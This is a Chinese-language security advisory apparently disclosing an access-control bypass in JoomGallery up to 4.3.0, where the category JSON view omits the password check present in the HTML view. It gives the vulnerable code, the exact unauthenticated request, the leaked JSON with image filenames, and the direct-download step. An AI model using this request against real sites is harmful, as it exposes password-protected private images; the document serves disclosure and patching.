JoomGallery ≤ 4.3.0-stable — 未认证攻击者绕过密码门禁下载受保护图片
JoomGallery 的分类 JSON 视图中存在一个未认证的访问控制绕过漏洞。当某个图库分类受密码保护时,HTML 视图会正确实施密码门禁——但 JSON 视图(format=json)完全跳过了该检查。
无需任何凭据的远程攻击者即可获取分类的标题、描述以及所有受保护图片的随机化文件名,然后直接下载这些图片。仅需一个 HTTP 请求即可绕过密码保护功能。
此绕过仅影响 Joomla ACL 访问级别设置为 Public(access=1)的分类。限制为 Registered 或 Special 访问级别的分类仍会在 JsonView.php:69 的 ACL 层被阻止。
| 组件 | 受影响版本 | 测试环境 | 修复版本 |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
类型: 不当访问控制(CWE-284)
所需认证: 无 — 未认证,单个 HTTP 请求
文件: site/com_joomgallery/src/View/Category/JsonView.php,第 76–96 行
JoomGallery 通过 pw_protected 标志为分类实现密码保护。此检查存在于 HtmlView.php 中,但在 JsonView.php 中完全缺失:
HTMLVIEW.PHP — 正确(存在防护)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — 漏洞(无防护)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
Joomla 的 format=json 参数会将相同的 URL 路由到另一个独立的 View 类。每个 View 都必须自行实施访问控制检查——框架不会自动传播这些检查。开发者已在 HtmlView 中添加了 pw_protected 防护,但在 JsonView 中遗漏了。
JoomGallery 的密码保护依赖于对图片文件名的保密——文件以静态资源形式存储在 /images/joomgallery/originals/ 下,由 Apache 直接提供,且没有任何服务端认证。文件名是随机化的(例如,secret-image-1_20260803_1951053711.jpg),只有在通过 PHP/Joomla 层的密码检查后才会披露。JSON 绕过通过向未认证请求者披露文件名打破了这一模型,从而形成完整获取图片的攻击链。
实验室设置:
pw_protected=true,access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
结果: 渲染密码表单。不可见任何分类内容。

GET /index.php/gallery/categories/3-secret-gallery
结果:在 Alias 路径中直接访问图片被阻止(/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
响应(HTTP 200,无需认证):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true 确认密码已设置。尽管如此,完整响应(包括随机化文件名)仍会被返回给未认证的调用者。

使用步骤 3 中获取的文件名
结果: HTTP 200 — 图片文件由 Apache 直接返回,无需认证。

管理员设置密码保护的任何图库分类都会被完全攻破。攻击者只需要数字分类 ID,而该 ID 是顺序递增的,极易枚举。